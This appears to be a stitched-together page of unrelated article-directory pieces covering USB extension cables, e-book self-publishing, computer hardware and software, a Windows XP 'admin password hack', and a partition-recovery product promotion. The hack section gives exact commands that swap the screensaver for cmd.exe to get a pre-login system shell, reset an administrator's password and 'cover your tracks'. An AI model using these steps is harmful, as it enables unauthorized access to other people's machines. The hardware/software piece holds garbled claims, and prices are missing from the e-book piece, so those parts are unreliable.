USB Extension Options: Breaking The 16 Foot Barrier

For the past ten years USB and FireWire have struggled to dominate the desktop interface market. Until five years ago, because of the relatively fast 400 Mbps offered by FireWire, USB, jokingly referred to as Ultra Slow Bandwidth, and was relegated to low-bandwidth applications such as keyboards and mice. At the end of 2001, however, USB dealt a fatal blow to FireWire with the release of the new USB 2.0 standard offering a maximum speed of 480 Mbps, faster than the theoretical limit of FireWire (though, in practice, usually slower).

It seems that USB has essentially won the standards battle with FireWire because of its relative low-cost and high availability. The limitation of USB (both the 1.1 and 2.0 standards popular today) is the 16 foot limit. When you have more than 16 feet between your computer and your USB device you will see significant degradation in the signal that can cause problems ranging from slower transmission speeds to an entirely dropped connection. This causes problems for people who want to run a USB cable to a printer located in another room, to a presentation keyboard/mouse combo or any other USB device that may be in a remote location.

The cheapest (and arguably easiest) way to extend the distance to your USB device is by using a USB Active Extension Cable. These cables have built-in USB repeaters that actually boost the USB signal, allowing you to go further than the 16 foot maximum distance. The most common length for these cables is 16 feet and you can chain up to four of these together with no loss in signal. Assuming you are using the longest USB device cable available (also 16 feet), USB Active Extension Cables allow for a maximum distance of 80 feet between your computer and USB device. They are available in USB 1.1 (12 Mbps) and USB 2.0 (480 Mbps).

For most USB extensions 80 feet is long enough, but what if you need to go further? Super USB Extenders allow you to extend the distance to your USB devices up to 150 feet with no loss in signal. The Super USB Extender uses similar technology for the male and female interfaces, but rather than have a regular USB cable in the middle, it uses a Cat 5 cable (also known as a networking cable). The advantage of Super USB Extenders, other than the increased maximum distance, is the ability to create a custom length. If you need to go 63 feet, for example, you can simply use a Super USB Extender with a 63 foot Cat 5 Cable between the booster and receiver. Super USB Extenders are also available in USB 1.1 and 2.0 interfaces.

If you are looking for a connection beyond 150 feet, many manufacturers offer a special Super USB Extender capable of USB transfer with no signal loss at 330 feet, though this is limited to USB 1.1. Black Box has created a USB 1.1 extender capable of transmission up to 1000 feet without signal loss, perfect for connecting your computer to a security camera or webcam hundreds of feet away from your computer.

Another exciting innovation for USB extension technology is the pending release of Wireless USB. Wireless USB hubs and devices are anticipated to show up in early 2006 with maximum distances over 100 feet. Keep in mind that this is the first release and as the technology matures this distance limitation will inevitably be lifted in favor of much further distances.

By: Preston Wily

Your Way To Success

Did you know, self-publishing is one of the easiest ways to make money on the web. Of course, it requires talent, but it's easier to learn than you might think.

Getting Started:

Choose a subject that interests you. Select a subject you enjoy or want to learn about. As an example for this article, we will use "Computer Tips."

Okay, next collect the information to put in the book about "Computer Tips". A good idea to collect tips would be to use your own knowledge, contacts, friends, online associates, family members, even neighbors.

Contact everyone you know who owns a computer; ask them to share their favorite computer tips with you. Tell them if you use their tip you will include their name in the book. After several contacts you should have acquired a stack of solid information.

Now, it's time to start sorting the information and separating it into categories. For example beginner tips, hardware tips, software tips, online tips, troubleshooting tips. Place each category into its own file. Each of these categories will be the chapters in your book.

Next, begin composing your book on the computer. Don't panic! It's not that hard. Write a brief intro. Write your name and contact information, any copyright information, a brief disclaimer. Publishing date, origin of publishing.

Remember all those tips you collected. Select the best tips of the lot. Now break that down into brief chapters.

Now end the book with a pertinent ending sentence or paragraph. Your name, contact information and a link back to your website.

Now the book is ready to publish... You've read everything and checked for misspelled words or obvious grammar mistakes. You are now ready to see the final result of your hard work.

If you publish online you will need an e-Book creator, which could cost anywhere from and up. Or you might decide to search online with Google or Yahoo for "free e-Book creation software" and download.

Download the software and take it for a test drive. Follow the instructions on setting up your files and publishing.

If your e-Book is less than 10 pages you might decide to call it a report. More than 10 pages would classify as an e-Book.

Well, alright now. Let's sell that book and make a profit! One good idea is to call all the people who offered you tips for your book. Price the book around .00 Sounds like a deal! Especially for people hungry for helpful tips from a savvy computer expert like you.

Offer all the contributors a discount on your new book. Maybe a 50 percent discount. Everyone who contributes would certainly love to have a copy with their byline (name) included. This is called ego stroking sales tactics (works for me!)

Have a website? Offer the e-Book to all your website visitors. Set up a sales page advertising your book along with ordering instructions. You will want to set up a shopping cart to handle sales. Or alternatively use a service like pay pal or click bank to handle sales without the hassle of needing a merchant account. Note: Although click bank cost money to host your book you will attract affiliates who will eagerly sell your book. This translates to more profits.

Also, consider contacting ezine owners online. Offer them a free copy of your book in exchange for advertising space in their publication. Visit online ezine directories and search for ezines in a similar category as your book. Contact the editor with pertinent details.

It's amazingly easy to create your very own book online. There's no hidden secret to publishing. So called publishing guru's want you to think they have the answers or insider secrets. For most of those on the Internet the so called secret is just a good idea and a way to reach targeted customers.

Every person reading this article has a book inside of them! Think about it. Everybody knows something about a topic that other people would pay good money to learn about. You can be sure!

So, what are you waiting for? Get Busy! Pick a topic, gather the information, and process it. You'll be a published writer online. Others will think of you as their writer friend. You'll be able to strut your stuff with a certain pride. Yup, I'm a writer! And place that on all your emails, letters, stationary, and business cards.

By: surjeetkumar2

Does Computer Software Hardware Work Separately?

JMDCompute Secret Tips
Computer hardware software are two opposing components that make up desktop computers and notebooks. They work together in harmony to allow the user to operate his or her electronic device. However, they are completely opposite in their functions and abilities. It is essential that you understand the difference if you want to operate any such electronic device.

These two must work together and work properly or the machine will be nothing more than an expensive paperweight sitting on your desk. In this article we will discuss the differences between the two and how they function together as a cohesive team.

Computer software is different than hardware in that these are the programs, procedures and documentation that cause the machine to be operated by the user. The software is classified into three different categories. The first is system software.

The system software helps the machine run. The second class is the programming software which allows the programmer to write new programs. The final category is the application software. The application software is any non computer related tasks.

Desktop computers and notebooks consist of tangible products that cause the machine to run. These include any memory modules such as RAM (Random Access Memory), mouse, keyboards, and all circuitry components within the machine such as mother boards, sound cards and video cards.

Even your power source is a vital asset that makes the machine run. The term "software" can be attributed to John W. Turkey in 1958, though there were earlier essays and theories dating back to the 1930s.

Computer hardware software works together. The software is loaded onto the hardware so you see how vital each system is and how they must work together for the computer to operate. This is especially important in the case of memory modules. Without both components you would have a machine that could not run or a machine that could not access memory.

Computer hardware software works together and you must know that your computer memory software is loaded directly onto the RAM chips. How much information is stored and how fast the computer can access the information is determined by the software working in tandem to store the information onto the hardware.

Most users never have to worry about the software outside of installing certain programs onto their computer. The same goes for the hardware. Outside of the keyboards and mouse, you really will only need to worry about system requirements and storage.

By: Michael Selvon

How to Hack a Window XP Admins Password

This is a cool little computer trick for Microsoft Windows trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

A Safer Way To Recover Damaged Partitions

Recovering damaged partitions on is a risky business. Even if you use the best data recovery tools and are absolutely sure in what you are doing, you are still risking your files shall something go wrong. Changes made to the damaged partition are irreversible; it is just too easy to overwrite an important system structure that holds vital information about your disk, files and data. Bottom line: it's good to backup before performing the recovery. But is this really the best way to do it?

There is a different approach to do data recovery that is even safer. No need to backup and restore during the recovery. Instead of making a backup copy of corrupted data, you can simply make a binary snapshot of the disk or partition being repaired, and attempt the recovery with different settings as many times as you need on this snapshot instead of the actual disk.

SoftAmbulance Partition Doctor by SoftAmbulance Data Recovery company is one of a few data recovery tools that allow recovering a virtual image of a damaged partition instead of repairing the partition directly. The data recovery tool lets you create a binary image of the damaged disk, and works with the binary image instead of the real thing. The binary image is a big file stored on another hard disk, CD, DVD or other media. The technology is similar to making an .iso image of a CD or DVD disc, only SoftAmbulance Partition Doctor extends it to partitions or even entire disks.

The diskcopy may be virtual, but any data you obtain from it is for real. SoftAmbulance Partition Doctor can recover your files, documents and other data from the binary image and put it on a healthy media. After that, you can attempt fixing the damaged system structures of the corrupted diskwithout taking any risk at all. Any modifications will be performed on the virtual image.

Don't rush the recovery. Don't take the risk of losing or corrupting your data. Create a virtual snapshot of the disk being repaired, and work on that snapshot instead of accessing the corrupted disk. This procedure keeps your original data safe, and ensures the highest level of safety during the recovery process.

SoftAmbulance Partition Doctor recovers files from damaged and corrupted disks and partitions and fixes damaged disks. The data recovery product supports all 32-bit versions of Windows, and recovers FAT and NTFS formatted hard disks, memory cards, CD and DVD media, and USB flash drives. The evaluation version is available for free at SoftAmbulance.com